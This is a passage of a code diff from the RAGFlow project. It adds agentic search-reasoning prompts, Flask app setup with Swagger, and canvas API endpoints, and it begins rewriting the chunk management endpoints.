+                logging.info(f"[THINK]Summary: {ii}. {summary_think}")
+
+        yield think + "</think>"

agentic_reasoning/prompts.py

@@ -0,0 +1,112 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+BEGIN_SEARCH_QUERY = "<|begin_search_query|>"
+END_SEARCH_QUERY = "<|end_search_query|>"
+BEGIN_SEARCH_RESULT = "<|begin_search_result|>"
+END_SEARCH_RESULT = "<|end_search_result|>"
+MAX_SEARCH_LIMIT = 6
+
+REASON_PROMPT = (
+        "You are a reasoning assistant with the ability to perform dataset searches to help "
+        "you answer the user's question accurately. You have special tools:\n\n"
+        f"- To perform a search: write {BEGIN_SEARCH_QUERY} your query here {END_SEARCH_QUERY}.\n"
+        f"Then, the system will search and analyze relevant content, then provide you with helpful information in the format {BEGIN_SEARCH_RESULT} ...search results... {END_SEARCH_RESULT}.\n\n"
+        f"You can repeat the search process multiple times if necessary. The maximum number of search attempts is limited to {MAX_SEARCH_LIMIT}.\n\n"
+        "Once you have all the information you need, continue your reasoning.\n\n"
+        "-- Example 1 --\n" ########################################
+        "Question: \"Are both the directors of Jaws and Casino Royale from the same country?\"\n"
+        "Assistant:\n"
+        f"    {BEGIN_SEARCH_QUERY}Who is the director of Jaws?{END_SEARCH_QUERY}\n\n"
+        "User:\n"
+        f"    {BEGIN_SEARCH_RESULT}\nThe director of Jaws is Steven Spielberg...\n{END_SEARCH_RESULT}\n\n"
+        "Continues reasoning with the new information.\n"
+        "Assistant:\n"
+        f"    {BEGIN_SEARCH_QUERY}Where is Steven Spielberg from?{END_SEARCH_QUERY}\n\n"
+        "User:\n"
+        f"    {BEGIN_SEARCH_RESULT}\nSteven Allan Spielberg is an American filmmaker...\n{END_SEARCH_RESULT}\n\n"
+        "Continues reasoning with the new information...\n\n"
+        "Assistant:\n"
+        f"    {BEGIN_SEARCH_QUERY}Who is the director of Casino Royale?{END_SEARCH_QUERY}\n\n"
+        "User:\n"
+        f"    {BEGIN_SEARCH_RESULT}\nCasino Royale is a 2006 spy film directed by Martin Campbell...\n{END_SEARCH_RESULT}\n\n"
+        "Continues reasoning with the new information...\n\n"
+        "Assistant:\n"
+        f"    {BEGIN_SEARCH_QUERY}Where is Martin Campbell from?{END_SEARCH_QUERY}\n\n"
+        "User:\n"
+        f"    {BEGIN_SEARCH_RESULT}\nMartin Campbell (born 24 October 1943) is a New Zealand film and television director...\n{END_SEARCH_RESULT}\n\n"
+        "Continues reasoning with the new information...\n\n"
+        "Assistant:\nIt's enough to answer the question\n"
+
+        "-- Example 2 --\n" #########################################
+        "Question: \"When was the founder of craigslist born?\"\n"
+        "Assistant:\n"
+        f"    {BEGIN_SEARCH_QUERY}Who was the founder of craigslist?{END_SEARCH_QUERY}\n\n"
+        "User:\n"
+        f"    {BEGIN_SEARCH_RESULT}\nCraigslist was founded by Craig Newmark...\n{END_SEARCH_RESULT}\n\n"
+        "Continues reasoning with the new information.\n"
+        "Assistant:\n"
+        f"    {BEGIN_SEARCH_QUERY} When was Craig Newmark born?{END_SEARCH_QUERY}\n\n"
+        "User:\n"
+        f"    {BEGIN_SEARCH_RESULT}\nCraig Newmark was born on December 6, 1952...\n{END_SEARCH_RESULT}\n\n"
+        "Continues reasoning with the new information...\n\n"
+        "Assistant:\nIt's enough to answer the question\n"
+        "**Remember**:\n"
+        f"- You have a dataset to search, so you just provide a proper search query.\n"
+        f"- Use {BEGIN_SEARCH_QUERY} to request a dataset search and end with {END_SEARCH_QUERY}.\n"
+        "- The language of query MUST be as the same as 'Question' or 'search result'.\n"
+        "- When done searching, continue your reasoning.\n\n"
+        'Please answer the following question. You should think step by step to solve it.\n\n'
+    )
+
+RELEVANT_EXTRACTION_PROMPT = """**Task Instruction:**
+
+    You are tasked with reading and analyzing web pages based on the following inputs: **Previous Reasoning Steps**, **Current Search Query**, and **Searched Web Pages**. Your objective is to extract relevant and helpful information for **Current Search Query** from the **Searched Web Pages** and seamlessly integrate this information into the **Previous Reasoning Steps** to continue reasoning for the original question.
+
+    **Guidelines:**
+
+    1. **Analyze the Searched Web Pages:**
+    - Carefully review the content of each searched web page.
+    - Identify factual information that is relevant to the **Current Search Query** and can aid in the reasoning process for the original question.
+
+    2. **Extract Relevant Information:**
+    - Select the information from the Searched Web Pages that directly contributes to advancing the **Previous Reasoning Steps**.
+    - Ensure that the extracted information is accurate and relevant.
+
+    3. **Output Format:**
+    - **If the web pages provide helpful information for current search query:** Present the information beginning with `**Final Information**` as shown below.
+    - The language of query **MUST BE** as the same as 'Search Query' or 'Web Pages'.\n"
+    **Final Information**
+
+    [Helpful information]
+
+    - **If the web pages do not provide any helpful information for current search query:** Output the following text.
+
+    **Final Information**
+
+    No helpful information found.
+
+    **Inputs:**
+    - **Previous Reasoning Steps:**  
+    {prev_reasoning}
+
+    - **Current Search Query:**  
+    {search_query}
+
+    - **Searched Web Pages:**  
+    {document}
+
+    """

api/__init__.py

@@ -0,0 +1,18 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+from beartype.claw import beartype_this_package
+beartype_this_package()

api/apps/__init__.py

@@ -1,120 +1,165 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-import os
-import sys
-from importlib.util import module_from_spec, spec_from_file_location
-from pathlib import Path
-from flask import Blueprint, Flask
-from werkzeug.wrappers.request import Request
-from flask_cors import CORS
-
-from api.db import StatusEnum
-from api.db.db_models import close_connection
-from api.db.services import UserService
-from api.utils import CustomJSONEncoder
-
-from flask_session import Session
-from flask_login import LoginManager
-from api.settings import SECRET_KEY, stat_logger
-from api.settings import API_VERSION, access_logger
-from api.utils.api_utils import server_error_response
-from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
-
-__all__ = ['app']
-
-
-logger = logging.getLogger('flask.app')
-for h in access_logger.handlers:
-    logger.addHandler(h)
-
-Request.json = property(lambda self: self.get_json(force=True, silent=True))
-
-app = Flask(__name__)
-CORS(app, supports_credentials=True,max_age=2592000)
-app.url_map.strict_slashes = False
-app.json_encoder = CustomJSONEncoder
-app.errorhandler(Exception)(server_error_response)
-
-
-## convince for dev and debug
-#app.config["LOGIN_DISABLED"] = True
-app.config["SESSION_PERMANENT"] = False
-app.config["SESSION_TYPE"] = "filesystem"
-app.config['MAX_CONTENT_LENGTH'] = os.environ.get("MAX_CONTENT_LENGTH", 128 * 1024 * 1024)
-
-Session(app)
-login_manager = LoginManager()
-login_manager.init_app(app)
-
-
-
-def search_pages_path(pages_dir):
-    return [path for path in pages_dir.glob('*_app.py') if not path.name.startswith('.')]
-
-
-def register_page(page_path):
-    page_name = page_path.stem.rstrip('_app')
-    module_name = '.'.join(page_path.parts[page_path.parts.index('api'):-1] + (page_name, ))
-
-    spec = spec_from_file_location(module_name, page_path)
-    page = module_from_spec(spec)
-    page.app = app
-    page.manager = Blueprint(page_name, module_name)
-    sys.modules[module_name] = page
-    spec.loader.exec_module(page)
-
-    page_name = getattr(page, 'page_name', page_name)
-    url_prefix = f'/{API_VERSION}/{page_name}'
-
-    app.register_blueprint(page.manager, url_prefix=url_prefix)
-    return url_prefix
-
-
-pages_dir = [
-    Path(__file__).parent,
-    Path(__file__).parent.parent / 'api' / 'apps',
-]
-
-client_urls_prefix = [
-    register_page(path)
-    for dir in pages_dir
-    for path in search_pages_path(dir)
-]
-
-
-@login_manager.request_loader
-def load_user(web_request):
-    jwt = Serializer(secret_key=SECRET_KEY)
-    authorization = web_request.headers.get("Authorization")
-    if authorization:
-        try:
-            access_token = str(jwt.loads(authorization))
-            user = UserService.query(access_token=access_token, status=StatusEnum.VALID.value)
-            if user:
-                return user[0]
-            else:
-                return None
-        except Exception as e:
-            stat_logger.exception(e)
-            return None
-    else:
-        return None
-
-
-@app.teardown_request
-def _db_close(exc):
-    close_connection()
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import os
+import sys
+import logging
+from importlib.util import module_from_spec, spec_from_file_location
+from pathlib import Path
+from flask import Blueprint, Flask
+from werkzeug.wrappers.request import Request
+from flask_cors import CORS
+from flasgger import Swagger
+from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+
+from api.db import StatusEnum
+from api.db.db_models import close_connection
+from api.db.services import UserService
+from api.utils import CustomJSONEncoder, commands
+
+from flask_session import Session
+from flask_login import LoginManager
+from api import settings
+from api.utils.api_utils import server_error_response
+from api.constants import API_VERSION
+
+__all__ = ["app"]
+
+Request.json = property(lambda self: self.get_json(force=True, silent=True))
+
+app = Flask(__name__)
+
+# Add this at the beginning of your file to configure Swagger UI
+swagger_config = {
+    "headers": [],
+    "specs": [
+        {
+            "endpoint": "apispec",
+            "route": "/apispec.json",
+            "rule_filter": lambda rule: True,  # Include all endpoints
+            "model_filter": lambda tag: True,  # Include all models
+        }
+    ],
+    "static_url_path": "/flasgger_static",
+    "swagger_ui": True,
+    "specs_route": "/apidocs/",
+}
+
+swagger = Swagger(
+    app,
+    config=swagger_config,
+    template={
+        "swagger": "2.0",
+        "info": {
+            "title": "RAGFlow API",
+            "description": "",
+            "version": "1.0.0",
+        },
+        "securityDefinitions": {
+            "ApiKeyAuth": {"type": "apiKey", "name": "Authorization", "in": "header"}
+        },
+    },
+)
+
+CORS(app, supports_credentials=True, max_age=2592000)
+app.url_map.strict_slashes = False
+app.json_encoder = CustomJSONEncoder
+app.errorhandler(Exception)(server_error_response)
+
+## convince for dev and debug
+# app.config["LOGIN_DISABLED"] = True
+app.config["SESSION_PERMANENT"] = False
+app.config["SESSION_TYPE"] = "filesystem"
+app.config["MAX_CONTENT_LENGTH"] = int(
+    os.environ.get("MAX_CONTENT_LENGTH", 128 * 1024 * 1024)
+)
+
+Session(app)
+login_manager = LoginManager()
+login_manager.init_app(app)
+
+commands.register_commands(app)
+
+
+def search_pages_path(pages_dir):
+    app_path_list = [
+        path for path in pages_dir.glob("*_app.py") if not path.name.startswith(".")
+    ]
+    api_path_list = [
+        path for path in pages_dir.glob("*sdk/*.py") if not path.name.startswith(".")
+    ]
+    app_path_list.extend(api_path_list)
+    return app_path_list
+
+
+def register_page(page_path):
+    path = f"{page_path}"
+
+    page_name = page_path.stem.rstrip("_app")
+    module_name = ".".join(
+        page_path.parts[page_path.parts.index("api"): -1] + (page_name,)
+    )
+
+    spec = spec_from_file_location(module_name, page_path)
+    page = module_from_spec(spec)
+    page.app = app
+    page.manager = Blueprint(page_name, module_name)
+    sys.modules[module_name] = page
+    spec.loader.exec_module(page)
+    page_name = getattr(page, "page_name", page_name)
+    sdk_path = "\\sdk\\" if sys.platform.startswith("win") else "/sdk/"
+    url_prefix = (
+        f"/api/{API_VERSION}" if sdk_path in path else f"/{API_VERSION}/{page_name}"
+    )
+
+    app.register_blueprint(page.manager, url_prefix=url_prefix)
+    return url_prefix
+
+
+pages_dir = [
+    Path(__file__).parent,
+    Path(__file__).parent.parent / "api" / "apps",
+    Path(__file__).parent.parent / "api" / "apps" / "sdk",
+]
+
+client_urls_prefix = [
+    register_page(path) for dir in pages_dir for path in search_pages_path(dir)
+]
+
+
+@login_manager.request_loader
+def load_user(web_request):
+    jwt = Serializer(secret_key=settings.SECRET_KEY)
+    authorization = web_request.headers.get("Authorization")
+    if authorization:
+        try:
+            access_token = str(jwt.loads(authorization))
+            user = UserService.query(
+                access_token=access_token, status=StatusEnum.VALID.value
+            )
+            if user:
+                return user[0]
+            else:
+                return None
+        except Exception as e:
+            logging.warning(f"load_user got exception {e}")
+            return None
+    else:
+        return None
+
+
+@app.teardown_request
+def _db_close(exc):
+    close_connection()

api/apps/canvas_app.py

@@ -0,0 +1,286 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+import traceback
+from flask import request, Response
+from flask_login import login_required, current_user
+from api.db.services.canvas_service import CanvasTemplateService, UserCanvasService
+from api.settings import RetCode
+from api.utils import get_uuid
+from api.utils.api_utils import get_json_result, server_error_response, validate_request, get_data_error_result
+from agent.canvas import Canvas
+from peewee import MySQLDatabase, PostgresqlDatabase
+from api.db.db_models import APIToken
+
+
+@manager.route('/templates', methods=['GET'])  # noqa: F821
+@login_required
+def templates():
+    return get_json_result(data=[c.to_dict() for c in CanvasTemplateService.get_all()])
+
+
+@manager.route('/list', methods=['GET'])  # noqa: F821
+@login_required
+def canvas_list():
+    return get_json_result(data=sorted([c.to_dict() for c in \
+                                 UserCanvasService.query(user_id=current_user.id)], key=lambda x: x["update_time"]*-1)
+                           )
+
+
+@manager.route('/rm', methods=['POST'])  # noqa: F821
+@validate_request("canvas_ids")
+@login_required
+def rm():
+    for i in request.json["canvas_ids"]:
+        if not UserCanvasService.query(user_id=current_user.id,id=i):
+            return get_json_result(
+                data=False, message='Only owner of canvas authorized for this operation.',
+                code=RetCode.OPERATING_ERROR)
+        UserCanvasService.delete_by_id(i)
+    return get_json_result(data=True)
+
+
+@manager.route('/set', methods=['POST'])  # noqa: F821
+@validate_request("dsl", "title")
+@login_required
+def save():
+    req = request.json
+    req["user_id"] = current_user.id
+    if not isinstance(req["dsl"], str):
+        req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False)
+
+    req["dsl"] = json.loads(req["dsl"])
+    if "id" not in req:
+        if UserCanvasService.query(user_id=current_user.id, title=req["title"].strip()):
+            return get_data_error_result(message=f"{req['title'].strip()} already exists.")
+        req["id"] = get_uuid()
+        if not UserCanvasService.save(**req):
+            return get_data_error_result(message="Fail to save canvas.")
+    else:
+        if not UserCanvasService.query(user_id=current_user.id, id=req["id"]):
+            return get_json_result(
+                data=False, message='Only owner of canvas authorized for this operation.',
+                code=RetCode.OPERATING_ERROR)
+        UserCanvasService.update_by_id(req["id"], req)
+    return get_json_result(data=req)
+
+
+@manager.route('/get/<canvas_id>', methods=['GET'])  # noqa: F821
+@login_required
+def get(canvas_id):
+    e, c = UserCanvasService.get_by_id(canvas_id)
+    if not e:
+        return get_data_error_result(message="canvas not found.")
+    return get_json_result(data=c.to_dict())
+
+@manager.route('/getsse/<canvas_id>', methods=['GET'])  # type: ignore # noqa: F821
+def getsse(canvas_id):
+    token = request.headers.get('Authorization').split()
+    if len(token) != 2:
+        return get_data_error_result(message='Authorization is not valid!"')
+    token = token[1]
+    objs = APIToken.query(beta=token)
+    if not objs:
+        return get_data_error_result(message='Authentication error: API key is invalid!"')
+    e, c = UserCanvasService.get_by_id(canvas_id)
+    if not e:
+        return get_data_error_result(message="canvas not found.")
+    return get_json_result(data=c.to_dict())
+
+
+@manager.route('/completion', methods=['POST'])  # noqa: F821
+@validate_request("id")
+@login_required
+def run():
+    req = request.json
+    stream = req.get("stream", True)
+    e, cvs = UserCanvasService.get_by_id(req["id"])
+    if not e:
+        return get_data_error_result(message="canvas not found.")
+    if not UserCanvasService.query(user_id=current_user.id, id=req["id"]):
+        return get_json_result(
+            data=False, message='Only owner of canvas authorized for this operation.',
+            code=RetCode.OPERATING_ERROR)
+
+    if not isinstance(cvs.dsl, str):
+        cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+
+    final_ans = {"reference": [], "content": ""}
+    message_id = req.get("message_id", get_uuid())
+    try:
+        canvas = Canvas(cvs.dsl, current_user.id)
+        if "message" in req:
+            canvas.messages.append({"role": "user", "content": req["message"], "id": message_id})
+            canvas.add_user_input(req["message"])
+    except Exception as e:
+        return server_error_response(e)
+
+    if stream:
+        def sse():
+            nonlocal answer, cvs
+            try:
+                for ans in canvas.run(stream=True):
+                    if ans.get("running_status"):
+                        yield "data:" + json.dumps({"code": 0, "message": "",
+                                                    "data": {"answer": ans["content"],
+                                                             "running_status": True}},
+                                                   ensure_ascii=False) + "\n\n"
+                        continue
+                    for k in ans.keys():
+                        final_ans[k] = ans[k]
+                    ans = {"answer": ans["content"], "reference": ans.get("reference", [])}
+                    yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n"
+
+                canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id})
+                canvas.history.append(("assistant", final_ans["content"]))
+                if not canvas.path[-1]:
+                    canvas.path.pop(-1)
+                if final_ans.get("reference"):
+                    canvas.reference.append(final_ans["reference"])
+                cvs.dsl = json.loads(str(canvas))
+                UserCanvasService.update_by_id(req["id"], cvs.to_dict())
+            except Exception as e:
+                cvs.dsl = json.loads(str(canvas))
+                if not canvas.path[-1]:
+                    canvas.path.pop(-1)
+                UserCanvasService.update_by_id(req["id"], cvs.to_dict())
+                traceback.print_exc()
+                yield "data:" + json.dumps({"code": 500, "message": str(e),
+                                            "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+                                           ensure_ascii=False) + "\n\n"
+            yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+        resp = Response(sse(), mimetype="text/event-stream")
+        resp.headers.add_header("Cache-control", "no-cache")
+        resp.headers.add_header("Connection", "keep-alive")
+        resp.headers.add_header("X-Accel-Buffering", "no")
+        resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+        return resp
+
+    for answer in canvas.run(stream=False):
+        if answer.get("running_status"):
+            continue
+        final_ans["content"] = "\n".join(answer["content"]) if "content" in answer else ""
+        canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id})
+        if final_ans.get("reference"):
+            canvas.reference.append(final_ans["reference"])
+        cvs.dsl = json.loads(str(canvas))
+        UserCanvasService.update_by_id(req["id"], cvs.to_dict())
+        return get_json_result(data={"answer": final_ans["content"], "reference": final_ans.get("reference", [])})
+
+
+@manager.route('/reset', methods=['POST'])  # noqa: F821
+@validate_request("id")
+@login_required
+def reset():
+    req = request.json
+    try:
+        e, user_canvas = UserCanvasService.get_by_id(req["id"])
+        if not e:
+            return get_data_error_result(message="canvas not found.")
+        if not UserCanvasService.query(user_id=current_user.id, id=req["id"]):
+            return get_json_result(
+                data=False, message='Only owner of canvas authorized for this operation.',
+                code=RetCode.OPERATING_ERROR)
+
+        canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id)
+        canvas.reset()
+        req["dsl"] = json.loads(str(canvas))
+        UserCanvasService.update_by_id(req["id"], {"dsl": req["dsl"]})
+        return get_json_result(data=req["dsl"])
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/input_elements', methods=['GET'])  # noqa: F821
+@login_required
+def input_elements():
+    cvs_id = request.args.get("id")
+    cpn_id = request.args.get("component_id")
+    try:
+        e, user_canvas = UserCanvasService.get_by_id(cvs_id)
+        if not e:
+            return get_data_error_result(message="canvas not found.")
+        if not UserCanvasService.query(user_id=current_user.id, id=cvs_id):
+            return get_json_result(
+                data=False, message='Only owner of canvas authorized for this operation.',
+                code=RetCode.OPERATING_ERROR)
+
+        canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id)
+        return get_json_result(data=canvas.get_component_input_elements(cpn_id))
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/debug', methods=['POST'])  # noqa: F821
+@validate_request("id", "component_id", "params")
+@login_required
+def debug():
+    req = request.json
+    for p in req["params"]:
+        assert p.get("key")
+    try:
+        e, user_canvas = UserCanvasService.get_by_id(req["id"])
+        if not e:
+            return get_data_error_result(message="canvas not found.")
+        if not UserCanvasService.query(user_id=current_user.id, id=req["id"]):
+            return get_json_result(
+                data=False, message='Only owner of canvas authorized for this operation.',
+                code=RetCode.OPERATING_ERROR)
+
+        canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id)
+        canvas.get_component(req["component_id"])["obj"]._param.debug_inputs = req["params"]
+        df = canvas.get_component(req["component_id"])["obj"].debug()
+        return get_json_result(data=df.to_dict(orient="records"))
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/test_db_connect', methods=['POST'])  # noqa: F821
+@validate_request("db_type", "database", "username", "host", "port", "password")
+@login_required
+def test_db_connect():
+    req = request.json
+    try:
+        if req["db_type"] in ["mysql", "mariadb"]:
+            db = MySQLDatabase(req["database"], user=req["username"], host=req["host"], port=req["port"],
+                               password=req["password"])
+        elif req["db_type"] == 'postgresql':
+            db = PostgresqlDatabase(req["database"], user=req["username"], host=req["host"], port=req["port"],
+                                    password=req["password"])
+        elif req["db_type"] == 'mssql':
+            import pyodbc
+            connection_string = (
+                f"DRIVER={{ODBC Driver 17 for SQL Server}};"
+                f"SERVER={req['host']},{req['port']};"
+                f"DATABASE={req['database']};"
+                f"UID={req['username']};"
+                f"PWD={req['password']};"
+            )
+            db = pyodbc.connect(connection_string)
+            cursor = db.cursor()
+            cursor.execute("SELECT 1")
+            cursor.close()
+        else:
+            return server_error_response("Unsupported database type.")
+        if req["db_type"] != 'mssql':
+            db.connect()
+        db.close()
+        
+        return get_json_result(data="Database Connection Successful!")
+    except Exception as e:
+        return server_error_response(e)
+

api/apps/chunk_app.py

@@ -1,267 +1,372 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import datetime
-
-from flask import request
-from flask_login import login_required, current_user
-from elasticsearch_dsl import Q
-
-from rag.app.qa import rmPrefix, beAdoc
-from rag.nlp import search, huqie
-from rag.utils import ELASTICSEARCH, rmSpace
-from api.db import LLMType, ParserType
-from api.db.services.knowledgebase_service import KnowledgebaseService
-from api.db.services.llm_service import TenantLLMService
-from api.db.services.user_service import UserTenantService
-from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
-from api.db.services.document_service import DocumentService
-from api.settings import RetCode, retrievaler
-from api.utils.api_utils import get_json_result
-import hashlib
-import re
-
-
-@manager.route('/list', methods=['POST'])
-@login_required
-@validate_request("doc_id")
-def list():
-    req = request.json
-    doc_id = req["doc_id"]
-    page = int(req.get("page", 1))
-    size = int(req.get("size", 30))
-    question = req.get("keywords", "")
-    try:
-        tenant_id = DocumentService.get_tenant_id(req["doc_id"])
-        if not tenant_id:
-            return get_data_error_result(retmsg="Tenant not found!")
-        e, doc = DocumentService.get_by_id(doc_id)
-        if not e:
-            return get_data_error_result(retmsg="Document not found!")
-        query = {
-            "doc_ids": [doc_id], "page": page, "size": size, "question": question, "sort": True
-        }
-        if "available_int" in req:
-            query["available_int"] = int(req["available_int"])
-        sres = retrievaler.search(query, search.index_name(tenant_id))
-        res = {"total": sres.total, "chunks": [], "doc": doc.to_dict()}
-        for id in sres.ids:
-            d = {
-                "chunk_id": id,
-                "content_with_weight": rmSpace(sres.highlight[id]) if question and id in  sres.highlight else sres.field[id].get(
-                    "content_with_weight", ""),
-                "doc_id": sres.field[id]["doc_id"],
-                "docnm_kwd": sres.field[id]["docnm_kwd"],
-                "important_kwd": sres.field[id].get("important_kwd", []),
-                "img_id": sres.field[id].get("img_id", ""),
-                "available_int": sres.field[id].get("available_int", 1),
-                "positions": sres.field[id].get("position_int", "").split("\t")
-            }
-            if len(d["positions"]) % 5 == 0:
-                poss = []
-                for i in range(0, len(d["positions"]), 5):
-                    poss.append([float(d["positions"][i]), float(d["positions"][i + 1]), float(d["positions"][i + 2]),
-                                 float(d["positions"][i + 3]), float(d["positions"][i + 4])])
-                d["positions"] = poss
-            res["chunks"].append(d)
-        return get_json_result(data=res)
-    except Exception as e:
-        if str(e).find("not_found") > 0:
-            return get_json_result(data=False, retmsg=f'No chunk found!',
-                                   retcode=RetCode.DATA_ERROR)
-        return server_error_response(e)
-
-
-@manager.route('/get', methods=['GET'])
-@login_required
-def get():
-    chunk_id = request.args["chunk_id"]
-    try:
-        tenants = UserTenantService.query(user_id=current_user.id)
-        if not tenants:
-            return get_data_error_result(retmsg="Tenant not found!")
-        res = ELASTICSEARCH.get(
-            chunk_id, search.index_name(
-                tenants[0].tenant_id))
-        if not res.get("found"):
-            return server_error_response("Chunk not found")
-        id = res["_id"]
-        res = res["_source"]
-        res["chunk_id"] = id
-        k = []
-        for n in res.keys():
-            if re.search(r"(_vec$|_sm_|_tks|_ltks)", n):
-                k.append(n)
-        for n in k:
-            del res[n]
-
-        return get_json_result(data=res)
-    except Exception as e:
-        if str(e).find("NotFoundError") >= 0:
-            return get_json_result(data=False, retmsg=f'Chunk not found!',
-                                   retcode=RetCode.DATA_ERROR)
-        return server_error_response(e)
-
-
-@manager.route('/set', methods=['POST'])
-@login_required
-@validate_request("doc_id", "chunk_id", "content_with_weight",
-                  "important_kwd")
-def set():
-    req = request.json
-    d = {
-        "id": req["chunk_id"],
-        "content_with_weight": req["content_with_weight"]}
-    d["content_ltks"] = huqie.qie(req["content_with_weight"])
-    d["content_sm_ltks"] = huqie.qieqie(d["content_ltks"])
-    d["important_kwd"] = req["important_kwd"]
-    d["important_tks"] = huqie.qie(" ".join(req["important_kwd"]))
-    if "available_int" in req:
-        d["available_int"] = req["available_int"]
-
-    try:
-        tenant_id = DocumentService.get_tenant_id(req["doc_id"])
-        if not tenant_id:
-            return get_data_error_result(retmsg="Tenant not found!")
-        embd_mdl = TenantLLMService.model_instance(
-            tenant_id, LLMType.EMBEDDING.value)
-        e, doc = DocumentService.get_by_id(req["doc_id"])
-        if not e:
-            return get_data_error_result(retmsg="Document not found!")
-
-        if doc.parser_id == ParserType.QA:
-            arr = [
-                t for t in re.split(
-                    r"[\n\t]",
-                    req["content_with_weight"]) if len(t) > 1]
-            if len(arr) != 2:
-                return get_data_error_result(
-                    retmsg="Q&A must be separated by TAB/ENTER key.")
-            q, a = rmPrefix(arr[0]), rmPrefix[arr[1]]
-            d = beAdoc(d, arr[0], arr[1], not any(
-                [huqie.is_chinese(t) for t in q + a]))
-
-        v, c = embd_mdl.encode([doc.name, req["content_with_weight"]])
-        v = 0.1 * v[0] + 0.9 * v[1] if doc.parser_id != ParserType.QA else v[1]
-        d["q_%d_vec" % len(v)] = v.tolist()
-        ELASTICSEARCH.upsert([d], search.index_name(tenant_id))
-        return get_json_result(data=True)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/switch', methods=['POST'])
-@login_required
-@validate_request("chunk_ids", "available_int", "doc_id")
-def switch():
-    req = request.json
-    try:
-        tenant_id = DocumentService.get_tenant_id(req["doc_id"])
-        if not tenant_id:
-            return get_data_error_result(retmsg="Tenant not found!")
-        if not ELASTICSEARCH.upsert([{"id": i, "available_int": int(req["available_int"])} for i in req["chunk_ids"]],
-                                    search.index_name(tenant_id)):
-            return get_data_error_result(retmsg="Index updating failure")
-        return get_json_result(data=True)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/rm', methods=['POST'])
-@login_required
-@validate_request("chunk_ids")
-def rm():
-    req = request.json
-    try:
-        if not ELASTICSEARCH.deleteByQuery(
-                Q("ids", values=req["chunk_ids"]), search.index_name(current_user.id)):
-            return get_data_error_result(retmsg="Index updating failure")
-        return get_json_result(data=True)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/create', methods=['POST'])
-@login_required
-@validate_request("doc_id", "content_with_weight")
-def create():
-    req = request.json
-    md5 = hashlib.md5()
-    md5.update((req["content_with_weight"] + req["doc_id"]).encode("utf-8"))
-    chunck_id = md5.hexdigest()
-    d = {"id": chunck_id, "content_ltks": huqie.qie(req["content_with_weight"]),
-         "content_with_weight": req["content_with_weight"]}
-    d["content_sm_ltks"] = huqie.qieqie(d["content_ltks"])
-    d["important_kwd"] = req.get("important_kwd", [])
